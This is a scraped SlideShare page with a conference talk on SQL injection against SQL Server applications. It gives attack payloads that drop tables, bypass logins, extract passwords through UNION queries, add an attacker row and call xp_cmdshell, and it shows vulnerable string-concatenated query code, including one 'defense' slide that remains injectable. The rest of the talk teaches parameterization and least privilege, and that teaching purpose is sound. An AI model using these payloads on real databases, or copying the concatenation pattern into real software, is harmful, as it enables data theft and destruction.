SlideShare una empresa de Scribd logo
1 de 42
Descargar para leer sin conexión
SQL Injection – are you ready for
defense?
Andrey Korshikov
Krasnodar, Russia
PASS Regional Mentor for Central Eastern Europe
MVP, MCT, MCSE, MCITP, MCPD, MCSD .NET, MCDBA, MOS
Sponsors
Andrey
Korshikov
korshikov@sqlpass.org
PASS Regional Mentor for
Central Eastern Europe
@AndreyKorshikov
About me
About me
Agenda
 Problem
 Attack
 Defense
Statistics
• In February 2002, Jeremiah Jacks discovered that Guess.com was vulnerable
to an SQL injection attack, permitting anyone able to construct a properly-
crafted URL to pull down 200,000+ names, credit card numbers and expiration
dates in the site's customer database.
• On November 1, 2005, a teenage hacker used SQL Injection to break into the
site of a Taiwanese information security magazine from the Tech Target group
and steal customers' information.
• On March 29, 2006, a hacker discovered an SQL Injection flaw in an official
Indian government's tourism site.
• On June 29, 2007, a computer criminal defaced the Microsoft UK website using
SQL Injection. UK website The Register quoted a Microsoft spokesperson
acknowledging the problem.
• In January 2008, tens of thousands of PCs were infected by an automated SQL
Injection attack that exploited a vulnerability in application code that uses
Microsoft SQL Server as the database store.
Statistics
• …
• In May 2012, the website for Wurm Online, a massively multiplayer online
game, was shut down from an SQL Injection while the site was being updated.
• In July 2012 a hacker group was reported to have stolen 450,000 login
credentials from Yahoo!. The logins were stored in plain text and were allegedly
taken from a Yahoo subdomain, Yahoo! Voices. The group breached Yahoo's
security by using a "union-based SQL Injection technique".
• In February 2013, a group of Maldivian hackers, hacked the website " UN-
Maldives" using SQL Injection.
SQL Injection
One package of milk for 30 rubles
SELECT TOP 1 productname FROM shop
WHERE (type=‘milk' AND price=‘30')
SQL Injection
One package of milk for 30 rubles or one
kilogram of sweets for 200 rubles
SELECT TOP 1 productname FROM shop
WHERE (type=‘milk' AND price=‘30')
OR (type=‘sweets' AND price='200')
Warning!
Knowledge from my session I recommend to
use only for training.
Dangers of SQL Injection
 It is easy to study and apply
 Archives of solutions
http://www.exploit-db.com/
 Can be automatized
 Many script examples in the Network are
vulnerable for attack
 Does harm to the most valuable – a database
Dangers of SQL Injection
 http://www.exploit-db.com/
Technical implementations
 Incorrectly filtered escape characters
 Incorrect type handling
 UNION using
 Blind SQL injection
Source data
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
go
insert into users values
( 0, 'admin', 'r00t', 0xffff ),
( 1, 'guest', 'guest', 0x0000 )
Application
SqlCommand comm = new SqlCommand("select * from users where
username = '" + txtUserName.Text + "' and password = '" +
txtPassword.Text + "'");
Demo
Application
'; drop table users--
SqlCommand comm = new SqlCommand("select * from users where
username = '" + txtUserName.Text + "' and password = '" +
txtPassword.Text + "'");
Getting data
Username: '; drop table temp--
Username: admin'--
Username: ' or 1=1--
Username: ' union select 1,
'fictional_user', 'some_password', 1--
Getting data
 table name
' having 1=1--
 columns name
' group by users.id having 1=1 --
' group by users.id, users.username,
users.password, users.privs having 1=1--
 Type of data
' union select sum(username) from
users--
' union select sum(id) from users--
Getting data
 add new row
'; insert into users values( 666,
'attacker', 'foobar', 0xffff )--
 info about system
' union select @@version,1,1,1 --
 logins
' union select min(username),1,1,1 from
users where username > 'a'–-
 passwords
' union select password,1,1,1 from users
where username = 'admin'--
Extended stored procedure
exec master..xp_cmdshell 'net1 user'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_servicecontrol
xp_availablemedia
xp_dirtree
xp_enumdsn
xp_loginconfig
xp_makecab
xp_ntsec_enumdomains
xp_terminate_process
Demo
WinForms
Demo
Parameters in URL
Defense
Defense
 Tell to the user only that he/she really needs
to know
try
{
// Attempt some database operation
}
catch(Exception e)
{
errorLabel.Text = string.Concat("Sorry, your request
failed. ", "If the problem persists please report the following
message ", "to technical support", Environment.Newline,
e.Message);
}
try
{
// Attempt some database operation
}
catch(Exception e)
{
int id = ErrorLogger.LogException(e);
errorLabel.Text = string.Format("Sorry, your request
Failed. If the problem persists please report error code {0}
to the technical support team.", id);
}
Defense
 Check of all entered data
 size
 content of string variables
 using XML-schema
 decline symbols ; ' -- /* */ xp_
 Use stored procedures
Defense
 Use the parameterized input with stored
procedures
SqlDataAdapter myCommand = new
SqlDataAdapter("LoginStoredProcedure
'" + Login.Text + "'", conn);
Defense
 Use SQL parameters of safe types
SqlDataAdapter myCommand = new
SqlDataAdapter("AuthorLogin", conn);
myCommand.SelectCommand.CommandType =
CommandType.StoredProcedure;
SqlParameter parm =
myCommand.SelectCommand.Parameters.Add("@
au_id", SqlDbType.VarChar, 11);
parm.Value = Login.Text;
Defense
 Pack parameters by functions QUOTENAME()
and REPLACE()
--before:
SET @temp = 'select * from authors where
au_lname=''' + @au_lname + '''‘
--after:
SET @temp = 'select * from authors where
au_lname=''' +
REPLACE(@au_lname,'''','''''') + ''''
Defense
 Execute with least privilege
<add key="cnxNWindBad"
value="server=localhost;uid=sa;pwd=;da
tabase=northwind;" />
<add key="cnxNWindGood"
value="server=localhost;uid=NWindReade
r;pwd=utbbeesozg4d;
database=northwind;" />
Defense
 Secrets must be secrets
<add key="cnxNWindBest"
value="AQAAANCMnd8BFdERjHoAwE/
Cl+sBAAAAcWMZ8XhPz0O8jHcS1539LAQAAAACAAAA
AAADZgAAqAAAABAAAABdodw0YhWfcC6+
UjUUOiMwAAAAAASAAACgAAAAEAAAALPzjTRnAPt7/
W8v38ikHL5IAAAAzctRyEcHxWkzxeqbq/
V9ogaSqS4UxvKC9zmrXUoJ9mwrNZ/
XZ9LgbfcDXIIAXm2DLRCGRHMtrZrp9yledz0n9kgP
3b3s+
X8wFAAAANmLu0UfOJdTc4WjlQQgmZElY7Z8" />
Defense
 Secrets must be secrets
string strCnx =
SecureConnection.GetCnxString("cnxNWindBest");
public class SecureConnection {
static public string GetCnxString(string configKey)
{
string strCnx;
try { // get encrypted string from web.config
string strEncryptedCnx = ConfigurationSettings.AppSettings[configKey];
// decrypt
string DataProtector dp = new DataProtector(DataProtector.Store.USE_MACHINE_STORE);
byte[] dataToDecrypt = Convert.FromBase64String(strEncryptedCnx);
strCnx = Encoding.ASCII.GetString(dp.Decrypt(dataToDecrypt,null));
} catch { strCnx=""; } return strCnx; } }
*Win32 Data Protection API (DPAPI) (System.Security.Cryptography)
Defense
 Secrets must be secrets
 EncryptByPassPhrase
 DecryptByPassPhrase
DECLARE @plaintext nvarchar(1000), @enc_text
varbinary(2000)
SET @plaintext='Я помню чудное мгновенье'
SET
@enc_text=ENCRYPTBYPASSPHRASE('Krasnodar',@plaintext)
SELECT 'Оригинальный текст: ', @plaintext
SELECT 'Зашифрованный текст:', @enc_text
SELECT 'Расшифровка:',
CAST(DECRYPTBYPASSPHRASE('Krasnodar',@enc_text) as
nvarchar(1000))
Demo
Defense on all layers
Defense (conclusion)
 Tell to the user only that he needs really to know
 Check of all entered data
 Use stored procedures
 Use SQL parameters of safe types
 Pack parameters by functions QUOTENAME()
and REPLACE()
 Execute with Least Privilege
 Secrets must be secrets
 Defense on all layers
:)
http://xkcd.com/327/
Resources
 SQL Injection
 SQL Injection FAQ
 Hacking website using SQL Injection - step by step
guide
 Dynamic SQL & SQL injection
 Advanced SQL Injection In SQL Server Applications
 Stop SQL Injection Attacks Before They Stop You
 SQL Injection - Why I Don't Think Parameterization
is Enough
Questions
Sponsors

Más contenido relacionado

La actualidad más candente

Connection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksConnection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksChema Alonso
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2MongoDB
 
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
XSSmon: A Perl Based IDS for the Detection of Potential XSS AttacksXSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
XSSmon: A Perl Based IDS for the Detection of Potential XSS AttacksChristopher Frenz
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSIvan Ortega
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesChema Alonso
 
MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2MongoDB
 
Rails Concurrency Gotchas
Rails Concurrency GotchasRails Concurrency Gotchas
Rails Concurrency Gotchasmarcostoledo
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLkobaitari
 
What is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicWhat is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicJW CyberNerd
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
Protecting Your Web Site From SQL Injection & XSS
Protecting Your Web SiteFrom SQL Injection & XSSProtecting Your Web SiteFrom SQL Injection & XSS
Protecting Your Web Site From SQL Injection & XSSskyhawk133
 

La actualidad más candente (14)

Connection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksConnection String Parameter Pollution Attacks
Connection String Parameter Pollution Attacks
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Houston 2019: Using Client Side Encryption in MongoDB 4.2
 
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
XSSmon: A Perl Based IDS for the Detection of Potential XSS AttacksXSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy Queries
 
MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2
MongoDB .local Chicago 2019: Using Client Side Encryption in MongoDB 4.2
 
Rails Concurrency Gotchas
Rails Concurrency GotchasRails Concurrency Gotchas
Rails Concurrency Gotchas
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQL
 
What is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicWhat is advanced SQL Injection? Infographic
What is advanced SQL Injection? Infographic
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
XSS - Attacks & Defense
XSS - Attacks & DefenseXSS - Attacks & Defense
XSS - Attacks & Defense
 
Introduction to python
Introduction to pythonIntroduction to python
Introduction to python
 
Protecting Your Web Site From SQL Injection & XSS
Protecting Your Web SiteFrom SQL Injection & XSSProtecting Your Web SiteFrom SQL Injection & XSS
Protecting Your Web Site From SQL Injection & XSS
 

Destacado

BIML - лучший друг для SSIS разработчика
BIML - лучший друг для SSIS разработчикаBIML - лучший друг для SSIS разработчика
BIML - лучший друг для SSIS разработчикаAndrey Korshikov
 
Sharepoint certification 2013
Sharepoint certification 2013Sharepoint certification 2013
Sharepoint certification 2013Andrey Korshikov
 
SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?
SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?
SQL Server Analysis Services 2014: табличная модель - альтернатива кубам? Andrey Korshikov
 
Что нового в SQL Server 2014
Что нового в SQL Server 2014Что нового в SQL Server 2014
Что нового в SQL Server 2014Andrey Korshikov
 
Sharepoint certification (developer) 2013
Sharepoint certification (developer) 2013Sharepoint certification (developer) 2013
Sharepoint certification (developer) 2013Andrey Korshikov
 
Learning and Certification for Developer
Learning and Certification for DeveloperLearning and Certification for Developer
Learning and Certification for DeveloperAndrey Korshikov
 
Sharepoint certification (for developer) 2013
Sharepoint certification (for developer) 2013Sharepoint certification (for developer) 2013
Sharepoint certification (for developer) 2013Andrey Korshikov
 
Отказоустойчивые решения SQL
Отказоустойчивые решения SQLОтказоустойчивые решения SQL
Отказоустойчивые решения SQLAndrey Korshikov
 
SSAS Multidimension и Tabular: что выбрать?
SSAS Multidimension и Tabular: что выбрать?SSAS Multidimension и Tabular: что выбрать?
SSAS Multidimension и Tabular: что выбрать?Andrey Korshikov
 
SQL Server Reporting Services - дюжина советов
SQL Server Reporting Services - дюжина советовSQL Server Reporting Services - дюжина советов
SQL Server Reporting Services - дюжина советовAndrey Korshikov
 
Cовременные инструменты для Business Intelligence
Cовременные инструменты для Business IntelligenceCовременные инструменты для Business Intelligence
Cовременные инструменты для Business IntelligenceAndrey Korshikov
 
Sql Server Reporting Services - tips and tricks
Sql Server Reporting Services - tips and tricksSql Server Reporting Services - tips and tricks
Sql Server Reporting Services - tips and tricksAndrey Korshikov
 
SSAS: multidemention vs tabular mode
SSAS: multidemention vs tabular modeSSAS: multidemention vs tabular mode
SSAS: multidemention vs tabular modeAndrey Korshikov
 
Business Intelligence. Современный взгляд
Business Intelligence. Современный взглядBusiness Intelligence. Современный взгляд
Business Intelligence. Современный взглядAndrey Korshikov
 
SQL Server 2016 Reporting Services. Быстрый старт
SQL Server 2016 Reporting Services. Быстрый стартSQL Server 2016 Reporting Services. Быстрый старт
SQL Server 2016 Reporting Services. Быстрый стартAndrey Korshikov
 

Destacado (17)

BIML - лучший друг для SSIS разработчика
BIML - лучший друг для SSIS разработчикаBIML - лучший друг для SSIS разработчика
BIML - лучший друг для SSIS разработчика
 
Sharepoint certification 2013
Sharepoint certification 2013Sharepoint certification 2013
Sharepoint certification 2013
 
SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?
SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?
SQL Server Analysis Services 2014: табличная модель - альтернатива кубам?
 
Что нового в SQL Server 2014
Что нового в SQL Server 2014Что нового в SQL Server 2014
Что нового в SQL Server 2014
 
Sharepoint certification (developer) 2013
Sharepoint certification (developer) 2013Sharepoint certification (developer) 2013
Sharepoint certification (developer) 2013
 
Curah!
Curah!Curah!
Curah!
 
Learning and Certification for Developer
Learning and Certification for DeveloperLearning and Certification for Developer
Learning and Certification for Developer
 
Curah!
Curah!Curah!
Curah!
 
Sharepoint certification (for developer) 2013
Sharepoint certification (for developer) 2013Sharepoint certification (for developer) 2013
Sharepoint certification (for developer) 2013
 
Отказоустойчивые решения SQL
Отказоустойчивые решения SQLОтказоустойчивые решения SQL
Отказоустойчивые решения SQL
 
SSAS Multidimension и Tabular: что выбрать?
SSAS Multidimension и Tabular: что выбрать?SSAS Multidimension и Tabular: что выбрать?
SSAS Multidimension и Tabular: что выбрать?
 
SQL Server Reporting Services - дюжина советов
SQL Server Reporting Services - дюжина советовSQL Server Reporting Services - дюжина советов
SQL Server Reporting Services - дюжина советов
 
Cовременные инструменты для Business Intelligence
Cовременные инструменты для Business IntelligenceCовременные инструменты для Business Intelligence
Cовременные инструменты для Business Intelligence
 
Sql Server Reporting Services - tips and tricks
Sql Server Reporting Services - tips and tricksSql Server Reporting Services - tips and tricks
Sql Server Reporting Services - tips and tricks
 
SSAS: multidemention vs tabular mode
SSAS: multidemention vs tabular modeSSAS: multidemention vs tabular mode
SSAS: multidemention vs tabular mode
 
Business Intelligence. Современный взгляд
Business Intelligence. Современный взглядBusiness Intelligence. Современный взгляд
Business Intelligence. Современный взгляд
 
SQL Server 2016 Reporting Services. Быстрый старт
SQL Server 2016 Reporting Services. Быстрый стартSQL Server 2016 Reporting Services. Быстрый старт
SQL Server 2016 Reporting Services. Быстрый старт
 

Similar a Sql Injection

Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASPMizno Kruge
 
Hacking Your Way To Better Security - php[tek] 2016
Hacking Your Way To Better Security - php[tek] 2016Hacking Your Way To Better Security - php[tek] 2016
Hacking Your Way To Better Security - php[tek] 2016Colin O'Dell
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionSina Manavi
 
MySQL server security
MySQL server securityMySQL server security
MySQL server securityDamien Seguy
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better SecurityColin O'Dell
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Colin O'Dell
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016Colin O'Dell
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLPradeep Kumar
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacksKevin Kline
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniquesSongchaiDuangpan
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)Nitroxis Sprl
 
SQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterSQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterMichael Coates
 

Similar a Sql Injection (20)

Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASP
 
Hacking Your Way To Better Security - php[tek] 2016
Hacking Your Way To Better Security - php[tek] 2016Hacking Your Way To Better Security - php[tek] 2016
Hacking Your Way To Better Security - php[tek] 2016
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL Injection
 
MySQL server security
MySQL server securityMySQL server security
MySQL server security
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better Security
 
Sql injection
Sql injectionSql injection
Sql injection
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016
 
Hack through Injections
Hack through InjectionsHack through Injections
Hack through Injections
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniques
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)
 
SQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterSQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning Center
 

Último

Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxDenish Jangid
 
Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...
Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...
Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...EduSkills OECD
 
Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..Disha Kariya
 
Measures of Dispersion and Variability: Range, QD, AD and SD
Measures of Dispersion and Variability: Range, QD, AD and SDMeasures of Dispersion and Variability: Range, QD, AD and SD
Measures of Dispersion and Variability: Range, QD, AD and SDThiyagu K
 
Accessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactAccessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactdawncurless
 
Web & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdfWeb & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdfJayanti Pande
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxheathfieldcps1
 
Class 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfClass 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfAyushMahapatra5
 
Nutritional Needs Presentation - HLTH 104
Nutritional Needs Presentation - HLTH 104Nutritional Needs Presentation - HLTH 104
Nutritional Needs Presentation - HLTH 104misteraugie
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdfQucHHunhnh
 
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...Shubhangi Sonawane
 
Z Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot GraphZ Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot GraphThiyagu K
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfagholdier
 
Introduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The BasicsIntroduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The BasicsTechSoup
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docxPoojaSen20
 
Application orientated numerical on hev.ppt
Application orientated numerical on hev.pptApplication orientated numerical on hev.ppt
Application orientated numerical on hev.pptRamjanShidvankar
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxVishalSingh1417
 
Making and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfMaking and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfChris Hunter
 

Último (20)

Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
 
Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...
Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...
Presentation by Andreas Schleicher Tackling the School Absenteeism Crisis 30 ...
 
Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..
 
Measures of Dispersion and Variability: Range, QD, AD and SD
Measures of Dispersion and Variability: Range, QD, AD and SDMeasures of Dispersion and Variability: Range, QD, AD and SD
Measures of Dispersion and Variability: Range, QD, AD and SD
 
Accessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impactAccessible design: Minimum effort, maximum impact
Accessible design: Minimum effort, maximum impact
 
Web & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdfWeb & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdf
 
Mattingly "AI & Prompt Design: The Basics of Prompt Design"
Mattingly "AI & Prompt Design: The Basics of Prompt Design"Mattingly "AI & Prompt Design: The Basics of Prompt Design"
Mattingly "AI & Prompt Design: The Basics of Prompt Design"
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptx
 
Class 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfClass 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdf
 
Nutritional Needs Presentation - HLTH 104
Nutritional Needs Presentation - HLTH 104Nutritional Needs Presentation - HLTH 104
Nutritional Needs Presentation - HLTH 104
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
 
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
 
Z Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot GraphZ Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot Graph
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdf
 
Introduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The BasicsIntroduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The Basics
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docx
 
Application orientated numerical on hev.ppt
Application orientated numerical on hev.pptApplication orientated numerical on hev.ppt
Application orientated numerical on hev.ppt
 
Advance Mobile Application Development class 07
Advance Mobile Application Development class 07Advance Mobile Application Development class 07
Advance Mobile Application Development class 07
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptx
 
Making and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfMaking and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdf
 

Sql Injection

  • 1. SQL Injection – are you ready for defense? Andrey Korshikov Krasnodar, Russia PASS Regional Mentor for Central Eastern Europe MVP, MCT, MCSE, MCITP, MCPD, MCSD .NET, MCDBA, MOS
  • 3. Andrey Korshikov korshikov@sqlpass.org PASS Regional Mentor for Central Eastern Europe @AndreyKorshikov About me
